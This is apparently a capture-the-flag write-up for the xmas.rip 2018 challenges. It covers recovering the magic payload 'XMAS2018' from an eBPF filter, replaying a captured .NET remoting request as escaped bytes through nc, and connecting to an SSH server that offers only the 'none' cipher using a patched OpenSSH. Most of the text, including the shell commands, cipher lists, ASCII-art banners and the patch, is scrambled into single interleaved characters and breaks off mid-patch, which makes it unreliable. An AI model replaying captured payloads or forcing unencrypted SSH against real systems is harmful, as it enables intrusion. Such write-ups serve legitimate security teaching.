r
u
t
x
u
s
S
T
s
e
c
T
r
t
n
n
n
C
n
s
O
l
r
_
n
N
N
h
c
A
a
v
v
v
v
v
v
v
v
v
v
v
N
v
b
a
p
b
s
L
t
r
e
P
e
t
t
n
i
t
L
y
N
e
,
,
e
e
f
t
1
1
1
1
1
1
1
1
1
1
1
c
,
e
j
r
i
j
u
/
:
-
p
/
e
:
e
e
e
p
e
d
"
L
-
i
O
c
r
s
i
h
.
.
.
.
.
.
.
.
.
.
.
o
r
e
t
r
e
e
c
A
t
1
r
n
n
c
e
n
o
J
Y
4
n
D
t
o
o
s
l
:
3
3
2
2
2
2
2
2
2
2
2
n
s
c
e
c
r
e
H
x
g
:
.
:
M
t
t
t
r
t
O
"
g
E
e
f
f
s
f
e
n
e
c
t
d
t
:
r
T
m
e
1
o
-
-
i
-
-
t
L
L
d
f
f
e
u
:
n
(
(
(
(
(
(
(
(
(
(
(
e
r
e
:
a
d
A
t
T
a
n
n
n
T
L
o
S
T
h
*
5
A
e
e
l
l
O
I
I
I
I
I
O
O
O
O
I
c
v
r
t
a
l
C
i
P
s
t
2
g
,
y
e
n
u
y
e
1
Y
t
r
r
e
l
n
U
N
N
N
N
N
U
U
U
U
N
t
e
t
C
e
t
t
=
f
/
.
:
0
i
p
n
:
i
p
C
.
o
i
i
c
y
e
e
T
)
)
)
)
)
T
T
T
T
)
i
r
i
N
:
e
N
U
i
1
r
0
n
1
e
g
t
e
C
o
7
s
n
n
t
t
)
,
,
,
,
,
)
)
)
)
,
o
f
=
:
a
S
c
.
i
c
x
0
:
t
k
e
:
h
/
n
-
5
e
x
g
g
i
s
c
,
,
,
,
,
n
a
i
x
N
m
;
a
1
p
u
O
h
e
:
a
~
n
c
.
t
m
o
e
/
T
T
T
T
T
T
c
c
m
o
F
e
t
:
r
K
D
t
:
e
t
C
{
e
i
6
a
h
h
n
t
s
T
L
L
L
L
L
T
T
T
T
L
u
c
a
a
v
e
:
O
e
8
l
e
e
p
E
e
h
c
p
8
s
2
t
:
s
L
S
S
S
S
S
L
L
L
L
S
s
e
t
s
b
=
/
c
x
1
-
C
x
a
,
t
h
.
.
t
c
l
S
S
S
S
S
i
p
e
.
2
h
L
v
7
t
0
a
D
t
-
i
e
2
r
p
E
e
/
h
h
h
h
h
h
n
t
:
r
9
2
o
e
e
.
2
/
5
l
H
/
d
-
o
r
2
i
/
C
r
c
h
a
a
a
a
a
h
h
c
h
a
g
e
i
7
s
t
r
6
0
p
8
i
E
p
a
-
n
s
7
p
1
D
t
e
a
n
n
n
n
n
a
a
h
a
n
d
p
2
t
'
i
2
1
l
v
-
l
n
{
-
.
.
H
i
r
n
d
d
d
d
d
n
n
a
n
d
T
0
2
s
f
.
8
a
e
R
a
c
-
/
#
E
.
(
1
E
f
t
d
s
s
s
s
s
d
d
n
d
s
L
t
:
0
"
y
0
i
S
i
e
,
-
~
0
C
.
5
-
i
s
s
h
h
h
h
h
s
s
g
s
h
S
o
0
:
x
E
2
n
A
n
!
-
,
~
D
1
R
c
/
h
a
a
a
a
a
h
h
e
h
a
v
2
0
m
n
o
0
-
-
\
t
H
.
S
a
c
a
k
k
k
k
k
a
a
a
k
1
u
:
2
a
c
k
:
C
-
}
/
o
E
7
A
t
a
k
e
e
e
e
e
k
k
c
k
e
.
s
5
:
s
r
.
4
H
-
-
5
-
e
-
e
,
,
,
,
,
e
e
i
e
,
2
e
2
5
.
y
3
A
-
h
R
.
C
c
,
,
,
p
,
2
r
p
:
C
-
o
S
6
H
v
e
S
C
S
R
S
h
F
/
h
2
i
t
1
H
,
s
A
8
A
e
r
C
e
e
e
e
e
C
C
e
F
i
t
0
2
p
;
1
A
t
-
.
C
r
t
l
r
r
r
q
r
e
l
r
i
n
E
t
1
0
"
2
}
C
2
H
i
i
i
v
t
v
u
v
r
i
,
n
i
C
p
8
1
C
G
0
{
x
H
2
A
f
f
e
e
i
e
e
e
t
e
i
s
D
/
9
m
N
M
-
m
A
7
2
y
i
n
r
f
r
s
r
i
n
C
s
h
H
1
G
a
=
T
P
,
a
C
)
0
c
t
i
t
f
t
h
h
e
E
.
M
G
t
L
O
-
s
H
-
l
a
h
c
k
f
i
a
e
d
-
1
T
M
c
e
L
-
.
A
p
P
o
t
h
e
a
e
C
i
c
k
n
d
R
T
h
t
Y
-
r
2
o
O
c
e
e
l
t
y
E
n
a
e
g
(
S
e
'
1
-
i
0
r
L
a
s
l
l
e
R
i
t
y
e
(
2
A
d
s
3
-
~
~
p
-
t
Y
t
.
l
o
e
T
s
e
2
0
-
0
-
~
~
P
1
i
c
o
(
x
h
e
c
0
)
C
c
E
5
,
/
~
l
O
8
3
o
r
(
1
c
(
e
(
x
i
)
:
H
e
n
/
e
L
0
n
t
(
2
1
h
1
d
1
c
p
:
A
r
c
~
}
f
Y
(
5
s
1
)
)
a
3
1
h
h
C
t
r
~
/
t
1
#
:
)
:
:
n
)
(
)
a
e
H
'
y
~
3
0
:
g
:
1
:
n
r
A
s
p
~
~
i
0
)
e
4
g
2
t
~
\
n
5
)
e
s
0
"
~
_
t
(
:
p
-
x
A
~
/
a
h
1
(
e
P
m
u
~
~
c
t
2
1
c
O
a
t
\
~
t
t
)
6
L
s
h
/
\
p
:
)
(
Y
.
o
/
s
:
1
1
r
r
~
:
)
3
i
i
\
/
:
0
p
t
/
/
5
"
y
x
m
X
a
3
s
.
r
i
p
:
8
The cipher selection can be seen in Wireshark:
9/TCP#
Day 9:
Connecting to the port shows nothing interesting:
$
J
i
e
n
c
g
h
l
o
e
t
e
s
t
|
n
c
x
m
a
s
.
r
i
p
9
Analyzing the eBPF code:
#include
#include
#include
#define ETH_HLEN 14
/*eBPF program.
Filter Packets
return 0 -> DROP the packet
return -1 -> KEEP the packet and return it to user space (userspace can read it from the socket_fd )
*/
int filter (struct __sk_buff * skb) {
u8 * cursor = 0 ;
struct ethernet_t * ethernet = cursor_advance (cursor, sizeof (* ethernet));
if (! (ethernet-> type == 0x0800 )) {
goto DROP;
}
struct ip_t * ip = cursor_advance (cursor, sizeof (* ip));
if (ip-> nextp != 0x06 ) {
goto DROP;
}
u32 tcp_header_length = 0 ;
u32 ip_header_length = 0 ;
u32 payload_offset = 0 ;
u32 payload_length = 0 ;
ip_header_length = ip-> hlen << 2 ;
if (ip_header_length < sizeof (* ip)) {
goto DROP;
}
void * _ = cursor_advance (cursor, (ip_header_length- sizeof (* ip)));
struct tcp_t * tcp = cursor_advance (cursor, sizeof (* tcp));
tcp_header_length = tcp-> offset << 2 ;
payload_offset = ETH_HLEN + ip_header_length + tcp_header_length;
payload_length = ip-> tlen - ip_header_length - tcp_header_length;
if (payload_length < 7 ) {
goto DROP;
}
unsigned long p[8 ];
int i = 0 ;
for (i = 0 ; i < 8 ; i++ ) {
p[i] = load_byte (skb , payload_offset + i);
}
if ((p[2 ] == 'A' ) && (p[5 ] == '0' ) && (p[0 ] == 'X' ) && (p[3 ] == 'S' ) && (p[1 ] == 'M' ) && (p[4 ] == '2' ) && (p[7 ] == '8' ) && (p[6 ] == '1' )) {
goto KEEP;
}
goto DROP;
//keep the packet and send it to userspace retruning -1
return - 1 ;
//drop the packet returning 0
return 0 ;
}
The following requirement shave to be met.
The ethernet payload has to be IPv4:
$
I
P
a
v
w
4
k
'
$
2
=
=
0
8
0
0
{
p
0
r
8
i
0
n
0
t
}
'
/
i
e
p
t
c
i
/
p
e
4
t
h
e
r
t
y
p
e
s
#
I
n
t
e
r
n
e
t
I
P
(
I
P
v
4
)
The transport protocol has to be TCP:
$
t
c
a
p
w
k
'
$
2
=
=
6
{
p
r
i
6
n
t
T
}
C
'
P
/
e
t
c
/
p
r
o
t
o
c
o
l
s
Tha array shows, that the payload has to be XMAS2018:
p[0 ] == 'X'
p[1 ] == 'M'
p[2 ] == 'A'
p[3 ] == 'S'
p[4 ] == '2'
p[5 ] == '0'
p[6 ] == '1'
p[7 ] == '8'
Sending a TCP packet via IPv4 with the payload XMAS2018:
$
J
i
.
"
e
n
J
"
d
"
c
g
.
H
"
.
H
H
h
l
u
H
H
H
H
H
o
e
H
H
H
H
H
H
H
H
H
H
H
P
-
H
H
H
H
H
"
n
H
H
H
H
H
"
H
H
H
H
H
X
.
H
H
H
H
F
M
:
H
H
H
H
'
A
:
H
H
H
P
S
:
:
H
H
P
"
2
:
:
:
'
"
4
'
0
:
:
:
:
$
$
$
1
.
:
:
:
:
4
$
$
$
?
8
:
:
:
:
:
.
d
`
.
d
$
$
$
"
.
:
:
:
:
'
d
J
H
H
?
e
$
$
$
$
?
|
:
:
:
:
:
`
.
H
H
H
H
?
$
$
$
$
$
$
.
:
:
:
:
:
,
H
H
H
H
?
$
$
$
$
$
$
"
n
:
:
:
:
:
:
u
H
H
H
H
"
z
$
P
c
$
?
c
:
:
:
:
:
:
4
H
H
H
H
H
"
4
'
e
$
d
?
b
$
:
:
:
:
:
:
H
P
f
b
H
H
?
?
.
$
"
.
$
d
$
$
$
.
$
x
:
:
:
:
:
:
:
:
`
u
H
H
?
b
"
c
"
$
$
$
$
$
"
b
`
'
'
m
:
:
:
:
:
:
:
:
:
:
:
`
u
H
H
H
e
?
"
$
$
$
$
$
$
c
"
:
:
:
a
:
:
:
:
:
:
:
:
:
:
:
`
u
H
H
H
.
$
-
"
$
$
$
$
$
.
$
.
:
:
:
s
:
:
:
:
:
:
:
:
:
:
:
`
u
H
H
H
e
$
"
=
d
$
b
$
"
$
:
:
:
:
.
:
:
:
:
:
:
:
:
:
:
:
`
,
H
H
H
z
$
$
"
.
"
F
d
`
$
$
c
"
:
:
:
:
:
r
:
:
:
:
:
:
:
:
:
:
:
`
J
H
H
P
e
$
$
$
C
$
.
$
$
$
.
b
"
$
:
:
:
i
:
:
:
:
:
:
:
:
:
:
'
.
H
H
H
"
$
$
$
$
$
f
d
$
$
$
?
.
?
b
"
b
:
:
p
:
:
:
:
:
:
:
:
:
:
H
H
H
H
,
$
$
$
"
C
"
$
$
$
$
$
$
$
.
$
e
"
:
:
.
:
:
:
:
:
:
:
:
:
u
H
H
H
P
e
$
$
.
"
,
$
$
$
$
$
$
$
.
$
.
?
:
:
9
.
:
:
:
:
:
:
:
:
'
H
H
H
H
"
$
$
.
`
=
c
$
$
$
$
$
$
$
.
$
"
?
:
.
:
:
:
:
:
:
:
:
H
H
H
H
.
$
$
d
$
^
,
$
$
$
$
$
$
"
d
$
"
$
?
:
:
:
:
:
:
:
:
:
H
H
H
P
e
F
"
z
$
$
"
3
$
$
$
$
$
F
.
$
$
.
$
$
`
:
:
:
:
:
:
:
'
u
H
H
H
"
d
"
.
$
$
"
e
$
$
$
$
$
$
$
"
d
$
$
"
:
:
:
:
:
:
:
,
$
H
H
H
,
P
d
$
$
e
$
$
$
$
P
z
$
P
.
$
$
$
?
:
:
:
:
:
:
`
d
$
H
H
P
g
.
$
$
$
e
$
$
$
$
"
$
$
4
,
$
$
$
?
.
:
:
:
:
:
.
H
$
H
H
"
d
d
$
$
$
$
$
$
$
$
.
$
)
$
"
$
$
$
?
:
:
:
:
:
H
.
H
H
,
P
$
$
$
$
$
$
$
$
P
e
P
e
$
"
4
$
$
?
.
:
:
:
:
u
H
P
d
"
,
$
$
$
"
.
$
$
$
$
"
$
?
$
$
.
$
$
$
"
:
:
:
'
u
H
H
"
$
"
?
$
$
$
$
$
"
$
$
$
"
d
$
$
$
"
.
:
:
H
H
P
,
$
$
$
$
3
$
$
$
$
$
$
,
$
$
F
,
$
$
$
f
.
:
:
u
H
H
"
d
$
.
$
$
$
$
$
$
$
$
$
P
e
$
"
,
$
$
$
?
:
H
H
H
"
$
$
.
z
$
$
$
$
f
$
$
$
$
"
$
F
,
$
$
$
$
$
.
:
d
H
H
H
,
$
$
3
d
$
E
$
$
,
$
$
$
$
.
$
,
$
$
$
$
$
P
:
:
.
H
H
H
H
e
$
$
$
$
$
$
r
.
d
$
P
f
d
"
d
$
$
$
$
$
"
:
:
,
H
H
H
H
$
$
$
$
$
$
$
.
$
$
P
J
P
,
$
$
$
$
$
$
:
:
u
H
H
H
H
$
$
$
$
$
$
$
,
$
$
"
$
$
$
'
$
$
$
$
$
$
F
:
:
:
u
H
H
H
P
$
$
$
J
$
$
$
.
$
P
.
$
$
$
e
$
$
$
$
$
F
:
:
:
u
H
H
H
"
$
$
e
d
$
$
P
e
$
"
$
$
$
"
$
$
$
$
$
"
:
:
:
:
L
H
H
.
$
P
=
$
$
$
"
.
$
P
,
$
$
$
$
'
:
:
:
:
:
d
H
H
g
c
%
,
$
$
$
.
?
4
$
$
'
d
$
$
$
F
:
:
:
:
:
:
H
H
H
@
C
z
$
$
$
,
$
$
$
'
d
$
$
$
'
:
:
:
:
:
:
:
:
H
H
H
@
$
$
$
$
e
$
$
P
e
$
$
$
'
:
:
:
:
:
:
:
:
:
H
H
P
g
$
$
$
F
d
$
$
$
$
$
'
:
:
:
:
:
:
:
:
:
:
:
H
H
"
$
$
$
e
$
z
$
$
"
.
:
:
:
:
:
:
:
:
:
:
:
b
F
$
$
"
d
`
d
e
$
$
:
:
:
:
:
:
:
:
:
:
:
:
$
$
3
$
?
$
$
e
$
"
:
:
:
:
:
:
:
:
:
:
:
:
:
$
$
$
$
$
$
$
e
$
.
:
:
:
:
:
:
:
:
:
:
:
:
:
$
$
$
$
$
$
$
.
P
.
:
:
:
:
:
:
:
:
:
:
:
:
:
$
$
$
$
$
$
$
z
?
:
:
:
:
:
:
:
:
:
:
:
:
:
:
e
$
$
$
$
$
P
d
$
:
:
:
:
:
:
:
:
:
:
:
:
:
:
e
$
$
$
$
$
"
$
$
.
:
:
:
:
:
:
:
:
:
:
:
:
:
.
$
$
$
$
$
`
$
$
.
:
:
:
:
:
:
:
:
:
:
:
:
:
.
e
$
$
$
$
,
$
$
"
:
:
:
:
:
:
:
:
:
:
:
:
:
.
$
F
$
$
,
$
$
?
:
:
:
:
:
:
:
:
:
:
:
:
:
c
"
$
$
$
.
:
:
:
:
:
:
:
:
:
:
:
:
.
%
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
The challenge description says, that this challenge is not possible via IPv6. However, it was possible:
$
J
i
.
"
e
n
J
"
d
"
c
g
.
H
"
.
H
H
h
l
u
H
H
H
H
H
o
e
H
H
H
H
H
H
H
H
H
H
H
P
-
H
H
H
H
H
"
n
H
H
H
H
H
"
H
H
H
H
H
X
.
H
H
H
H
F
M
:
H
H
H
H
'
A
:
H
H
H
P
S
:
:
H
H
P
"
2
:
:
:
'
"
4
'
0
:
:
:
:
$
$
$
1
.
:
:
:
:
4
$
$
$
?
8
:
:
:
:
:
.
d
`
.
d
$
$
$
"
.
:
:
:
:
'
d
J
H
H
?
e
$
$
$
$
?
|
:
:
:
:
:
`
.
H
H
H
H
?
$
$
$
$
$
$
.
:
:
:
:
:
,
H
H
H
H
?
$
$
$
$
$
$
"
n
:
:
:
:
:
:
u
H
H
H
H
"
z
$
P
c
$
?
c
:
:
:
:
:
:
4
H
H
H
H
H
"
4
'
e
$
d
?
b
$
:
:
:
:
:
:
H
P
f
b
H
H
?
?
.
$
"
.
$
d
$
$
$
.
$
-
:
:
:
:
:
:
:
:
`
u
H
H
?
b
"
c
"
$
$
$
$
$
"
b
`
'
'
6
:
:
:
:
:
:
:
:
:
:
:
`
u
H
H
H
e
?
"
$
$
$
$
$
$
c
"
:
:
:
:
:
:
:
:
:
:
:
:
:
:
`
u
H
H
H
.
$
-
"
$
$
$
$
$
.
$
.
:
:
:
x
:
:
:
:
:
:
:
:
:
:
:
`
u
H
H
H
e
$
"
=
d
$
b
$
"
$
:
:
:
:
m
:
:
:
:
:
:
:
:
:
:
:
`
,
H
H
H
z
$
$
"
.
"
F
d
`
$
$
c
"
:
:
:
:
:
a
:
:
:
:
:
:
:
:
:
:
:
`
J
H
H
P
e
$
$
$
C
$
.
$
$
$
.
b
"
$
:
:
:
s
:
:
:
:
:
:
:
:
:
:
'
.
H
H
H
"
$
$
$
$
$
f
d
$
$
$
?
.
?
b
"
b
:
:
.
:
:
:
:
:
:
:
:
:
:
H
H
H
H
,
$
$
$
"
C
"
$
$
$
$
$
$
$
.
$
e
"
:
:
r
.
:
:
:
:
:
:
:
:
:
u
H
H
H
P
e
$
$
.
"
,
$
$
$
$
$
$
$
.
$
.
?
:
:
i
.
:
:
:
:
:
:
:
:
'
H
H
H
H
"
$
$
.
`
=
c
$
$
$
$
$
$
$
.
$
"
?
:
p
.
:
:
:
:
:
:
:
:
H
H
H
H
.
$
$
d
$
^
,
$
$
$
$
$
$
"
d
$
"
$
?
:
:
:
:
:
:
:
:
:
H
H
H
P
e
F
"
z
$
$
"
3
$
$
$
$
$
F
.
$
$
.
$
$
`
9
:
:
:
:
:
:
:
'
u
H
H
H
"
d
"
.
$
$
"
e
$
$
$
$
$
$
$
"
d
$
$
"
:
:
:
:
:
:
:
,
$
H
H
H
,
P
d
$
$
e
$
$
$
$
P
z
$
P
.
$
$
$
?
:
:
:
:
:
:
`
d
$
H
H
P
g
.
$
$
$
e
$
$
$
$
"
$
$
4
,
$
$
$
?
.
:
:
:
:
:
.
H
$
H
H
"
d
d
$
$
$
$
$
$
$
$
.
$
)
$
"
$
$
$
?
:
:
:
:
:
H
.
H
H
,
P
$
$
$
$
$
$
$
$
P
e
P
e
$
"
4
$
$
?
.
:
:
:
:
u
H
P
d
"
,
$
$
$
"
.
$
$
$
$
"
$
?
$
$
.
$
$
$
"
:
:
:
'
u
H
H
"
$
"
?
$
$
$
$
$
"
$
$
$
"
d
$
$
$
"
.
:
:
H
H
P
,
$
$
$
$
3
$
$
$
$
$
$
,
$
$
F
,
$
$
$
f
.
:
:
u
H
H
"
d
$
.
$
$
$
$
$
$
$
$
$
P
e
$
"
,
$
$
$
?
:
H
H
H
"
$
$
.
z
$
$
$
$
f
$
$
$
$
"
$
F
,
$
$
$
$
$
.
:
d
H
H
H
,
$
$
3
d
$
E
$
$
,
$
$
$
$
.
$
,
$
$
$
$
$
P
:
:
.
H
H
H
H
e
$
$
$
$
$
$
r
.
d
$
P
f
d
"
d
$
$
$
$
$
"
:
:
,
H
H
H
H
$
$
$
$
$
$
$
.
$
$
P
J
P
,
$
$
$
$
$
$
:
:
u
H
H
H
H
$
$
$
$
$
$
$
,
$
$
"
$
$
$
'
$
$
$
$
$
$
F
:
:
:
u
H
H
H
P
$
$
$
J
$
$
$
.
$
P
.
$
$
$
e
$
$
$
$
$
F
:
:
:
u
H
H
H
"
$
$
e
d
$
$
P
e
$
"
$
$
$
"
$
$
$
$
$
"
:
:
:
:
L
H
H
.
$
P
=
$
$
$
"
.
$
P
,
$
$
$
$
'
:
:
:
:
:
d
H
H
g
c
%
,
$
$
$
.
?
4
$
$
'
d
$
$
$
F
:
:
:
:
:
:
H
H
H
@
C
z
$
$
$
,
$
$
$
'
d
$
$
$
'
:
:
:
:
:
:
:
:
H
H
H
@
$
$
$
$
e
$
$
P
e
$
$
$
'
:
:
:
:
:
:
:
:
:
H
H
P
g
$
$
$
F
d
$
$
$
$
$
'
:
:
:
:
:
:
:
:
:
:
:
H
H
"
$
$
$
e
$
z
$
$
"
.
:
:
:
:
:
:
:
:
:
:
:
b
F
$
$
"
d
`
d
e
$
$
:
:
:
:
:
:
:
:
:
:
:
:
$
$
3
$
?
$
$
e
$
"
:
:
:
:
:
:
:
:
:
:
:
:
:
$
$
$
$
$
$
$
e
$
.
:
:
:
:
:
:
:
:
:
:
:
:
:
$
$
$
$
$
$
$
.
P
.
:
:
:
:
:
:
:
:
:
:
:
:
:
$
$
$
$
$
$
$
z
?
:
:
:
:
:
:
:
:
:
:
:
:
:
:
e
$
$
$
$
$
P
d
$
:
:
:
:
:
:
:
:
:
:
:
:
:
:
e
$
$
$
$
$
"
$
$
.
:
:
:
:
:
:
:
:
:
:
:
:
:
.
$
$
$
$
$
`
$
$
.
:
:
:
:
:
:
:
:
:
:
:
:
:
.
e
$
$
$
$
,
$
$
"
:
:
:
:
:
:
:
:
:
:
:
:
:
.
$
F
$
$
,
$
$
?
:
:
:
:
:
:
:
:
:
:
:
:
:
c
"
$
$
$
.
:
:
:
:
:
:
:
:
:
:
:
:
.
%
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
:
Also Wireshark shows that this was transmitted via IPv6:
There might be some NAT from IPv6 to IPv4 or something like this and the eBPF filter is applied after the NAT. But I have no clue :).
10/TCP#
Day 10:
Analyzing the PCAP file shows which data are sent to the server:
This data can be explorted (right click, copy as escaped string) and then sent again to the server without implementing a .NET remoting client:
$
.
^
N
C
e
E
c
T
h
�
o
-
e
n
"
\
x
2
O
e
_
\
O
x
_
4
e
\
x
4
5
\
x
5
4
\
x
0
1
\
x
0
0
D
\
e
x
a
Y
0
r
o
0
u
\
S
r
x
a
0
n
N
0
t
a
\
a
m
x
,
e
0
0
H
\
e
x
r
0
e
0
\
x
7
8
\
x
0
0
\
x
0
0
\
x
0
0
\
x
0
6
\
x
0
0
\
x
0
1
\
x
0
1
\
x
1
8
\
x
0
0
\
x
0
0
\
x
0
0
\
x
6
1
\
x
7
0
\
x
7
0
\
x
6
c
\
x
6
9
\
x
6
3
\
x
6
1
\
x
7
4
\
x
6
9
\
x
6
f
\
x
6
e
\
x
2
f
\
x
6
f
\
x
6
3
\
x
7
4
\
x
6
5
\
x
7
4
\
x
2
d
\
x
7
3
\
x
7
4
\
x
7
2
\
x
6
5
\
x
6
1
\
x
6
d
\
x
0
4
\
x
0
0
\
x
0
1
\
x
0
1
\
x
1
7
\
x
0
0
\
x
0
0
\
x
0
0
\
x
7
4
\
x
6
3
\
x
7
0
\
x
3
a
\
x
2
f
\
x
2
f
\
x
7
8
\
x
6
d
\
x
6
1
\
x
7
3
\
x
2
e
\
x
7
2
\
x
6
9
\
x
7
0
\
x
3
a
\
x
3
1
\
x
3
0
\
x
2
f
\
x
7
2
\
x
5
8
\
x
6
d
\
x
6
1
\
x
7
3
\
x
0
0
\
x
0
0
\
x
0
0
\
x
0
0
\
x
0
0
\
x
0
0
\
x
0
0
\
x
0
0
\
x
0
0
\
x
0
0
\
x
0
0
\
x
0
1
\
x
0
0
\
x
0
0
\
x
0
0
\
x
0
0
\
x
0
0
\
x
0
0
\
x
0
0
\
x
1
5
\
x
1
1
\
x
0
0
\
x
0
0
\
x
0
0
\
x
1
2
\
x
0
5
\
x
5
3
\
x
6
1
\
x
6
e
\
x
7
4
\
x
6
1
\
x
1
2
\
x
5
8
\
x
5
2
\
x
6
5
\
x
6
d
\
x
6
f
\
x
7
4
\
x
6
9
\
x
6
e
\
x
6
7
\
x
5
3
\
x
6
1
\
x
6
d
\
x
7
0
\
x
6
c
\
x
6
5
\
x
2
e
\
x
5
2
\
x
6
5
\
x
6
d
\
x
6
f
\
x
7
4
\
x
6
5
\
x
5
8
\
x
6
d
\
x
6
1
\
x
7
3
\
x
2
c
\
x
2
0
\
x
4
3
\
x
6
c
\
x
6
9
\
x
6
5
\
x
6
e
\
x
7
4
\
x
2
c
\
x
2
0
\
x
5
6
\
x
6
5
\
x
7
2
\
x
7
3
\
x
6
9
\
x
6
f
\
x
6
e
\
x
3
d
\
x
3
0
\
x
2
e
\
x
3
0
\
x
2
e
\
x
3
0
\
x
2
e
\
x
3
0
\
x
2
c
\
x
2
0
\
x
4
3
\
x
7
5
\
x
6
c
\
x
7
4
\
x
7
5
\
x
7
2
\
x
6
5
\
x
3
d
\
x
6
e
\
x
6
5
\
x
7
5
\
x
7
4
\
x
7
2
\
x
6
1
\
x
6
c
\
x
2
c
\
x
2
0
\
x
5
0
\
x
7
5
\
x
6
2
\
x
6
c
\
x
6
9
\
x
6
3
\
x
4
b
\
x
6
5
\
x
7
9
\
x
5
4
\
x
6
f
\
x
6
b
\
x
6
5
\
x
6
e
\
x
3
d
\
x
6
e
\
x
7
5
\
x
6
c
\
x
6
c
\
x
0
b
"
|
n
c
x
m
a
s
.
r
i
p
1
0
11/TCP#
Day 11:
It’s not possible to SSH into the server because of no matching cipher:
$
U
n
s
a
s
b
h
l
e
-
p
t
o
1
1
n
e
x
g
m
o
a
t
s
i
.
a
r
t
i
e
p
w
i
t
h
2
0
0
1
:
4
1
d
0
:
7
0
1
:
1
1
0
0
:
:
2
0
7
c
p
o
r
t
1
1
:
n
o
m
a
t
c
h
i
n
g
c
i
p
h
e
r
f
o
u
n
d
.
T
h
e
i
r
o
f
f
e
r
:
n
o
n
e
The server does only support the none encryption algorithm:
#
S
N
H
O
P
1
N
t
m
o
t
O
1
m
n
a
a
s
h
R
/
s
a
m
r
p
t
e
T
t
s
p
a
t
r
c
h
k
s
e
m
c
p
i
s
i
p
2
e
e
n
a
o
d
n
c
s
a
-
x
r
c
c
m
o
-
g
a
d
S
o
e
_
v
r
_
p
n
n
n
u
d
T
p
n
a
c
e
e
e
d
d
e
s
s
e
s
y
n
a
u
u
h
h
h
u
u
h
h
h
r
n
z
e
N
p
r
A
e
u
l
u
c
c
c
i
i
r
s
s
c
s
p
o
l
m
m
m
m
m
m
m
m
m
m
e
o
l
:
-
m
r
e
T
n
m
g
r
d
d
d
f
f
_
h
h
d
h
t
n
g
a
a
a
a
a
a
a
a
a
a
s
n
i
P
a
e
(
s
E
-
o
v
h
h
h
f
f
h
-
-
s
-
i
e
o
c
c
c
c
c
c
c
c
c
c
s
e
b
1
n
p
p
0
s
a
r
e
-
-
-
i
i
o
r
d
a
e
o
r
-
-
-
-
-
-
-
-
-
-
i
@
o
.
e
S
s
l
i
2
s
s
s
e
e
s
s
s
-
d
n
i
6
1
s
s
s
6
1
s
s
s
o
o
I
-
7
r
0
s
E
y
g
t
5
h
h
h
-
-
t
a
s
s
2
_
t
4
2
h
h
h
4
2
h
h
h
n
p
P
p
.
t
2
R
s
o
h
5
a
a
a
h
h
_
h
5
a
h
-
8
a
a
a
@
8
a
a
a
_
e
7
3
f
V
t
s
m
1
2
2
2
e
e
k
a
5
l
m
e
-
2
2
1
o
@
2
2
1
a
n
a
1
0
f
s
o
I
a
:
s
9
-
-
-
l
l
e
2
1
g
s
t
e
-
-
-
p
o
-
-
l
s
d
1
o
r
C
t
:
-
n
n
n
l
l
y
-
9
o
:
m
t
2
5
e
e
p
2
5
g
s
d
(
r
l
E
s
i
i
i
m
m
_
n
r
@
m
5
1
t
n
e
5
1
o
h
r
a
x
(
h
s
s
s
a
a
a
i
i
(
o
@
6
2
m
s
n
6
2
r
.
e
-
h
x
t
m
6
a
t
t
t
n
n
l
s
t
1
p
o
-
-
@
s
s
i
c
s
s
t
m
e
a
)
2
p
p
p
-
-
g
t
h
0
e
p
e
e
o
h
s
t
o
s
c
t
a
n
s
5
2
3
5
g
g
o
p
m
)
n
e
t
t
p
.
h
h
m
r
p
s
c
.
6
5
8
2
r
r
r
2
s
s
n
m
m
e
c
.
m
(
i
s
.
y
r
@
6
4
1
o
o
i
5
:
s
s
@
@
n
o
c
s
1
p
:
r
)
i
l
u
u
t
6
h
s
o
o
s
m
o
:
t
/
i
.
p
i
p
p
h
(
.
h
p
p
s
m
h
p
b
-
1
m
1
c
.
e
e
h
(
o
n
(
s
e
4
s
)
o
c
n
n
.
2
s
s
m
(
n
s
x
-
:
m
o
s
s
c
)
t
s
a
5
o
h
c
s
m
s
s
o
h
p
1
t
.
h
h
(
h
h
m
u
2
.
.
o
a
a
4
.
.
p
-
o
7
s
r
n
1
)
c
c
)
e
r
5
c
g
g
o
o
n
g
.
a
e
m
m
s
u
6
n
-
c
m
)
8
n
s
a
-
.
e
h
n
a
a
2
d
a
n
l
t
2
)
2
e
g
7
:
5
d
o
2
)
6
s
0
2
i
1
0
n
x
8
0
m
-
1
0
a
1
:
.
s
2
4
4
.
-
1
3
r
2
d
i
1
0
s
p
:
e
1
7
c
3
0
o
:
1
n
2
:
d
5
1
s
1
C
0
E
0
T
:
:
2
0
7
c
This cipher is not implemented in the OpenSSH client:
$
O
$
3
a
a
a
r
a
a
a
a
a
c
p
d
e
e
e
i
e
e
e
e
e
h
s
e
s
e
s
s
s
j
s
s
s
s
s
a
s
n
s
s
1
1
2
n
1
1
2
1
2
c
h
S
h
-
2
9
5
d
2
9
5
2
5
h
S
c
8
2
6
a
8
2
6
8
6
a
-
H
-
b
-
-
-
e
-
-
-
-
-
2
V
_
Q
c
c
c
c
l
c
c
c
g
g
0
7
b
b
b
-
t
t
t
c
c
-
.
c
c
c
c
c
r
r
r
m
m
p
9
i
b
@
@
o
p
p
c
o
o
l
1
h
@
p
p
y
,
e
l
e
e
1
r
y
n
n
3
O
s
s
s
0
p
a
s
s
5
e
t
h
h
@
n
o
.
.
o
S
r
c
c
p
S
.
o
o
e
L
l
m
m
n
i
s
1
u
s
.
.
h
1
s
.
.
e
c
1
o
a
m
2
0
N
o
v
2
0
1
8
A patch file was provided by xmas.rip:
#
d
i
@
@
@
i
n
@
@
#
@
#
c
f
d
i
i
u
f
e
-
-
f
-
f
r
x
a
b
2
5
d
5
d
l
/
/
4
4
e
9
e
-
0
c
c
4
5
f
3
f
-
g
2
i
i
,
,
,
L
i
d
p
p
7
f
6
s
W
c
c
c
c
6
s
W
c
c
c
c
t
a
h
h
o
w
I
a
a
a
a
w
I
a
a
a
a
h
e
e
e
+
r
+
i
T
s
s
s
s
+
i
T
s
s
s
s
t
a
6
r
r
2
5
t
H
e
e
e
e
5
t
H
e
e
e
e
t
/
f
.
.
4
(
4
c
_
9
c
_
p
c
9
c
c
4
(
p
5
h
O
S
S
S
S
4
h
O
S
S
S
S
s
i
.
,
p
,
P
S
S
S
S
,
P
S
S
S
S
:
p
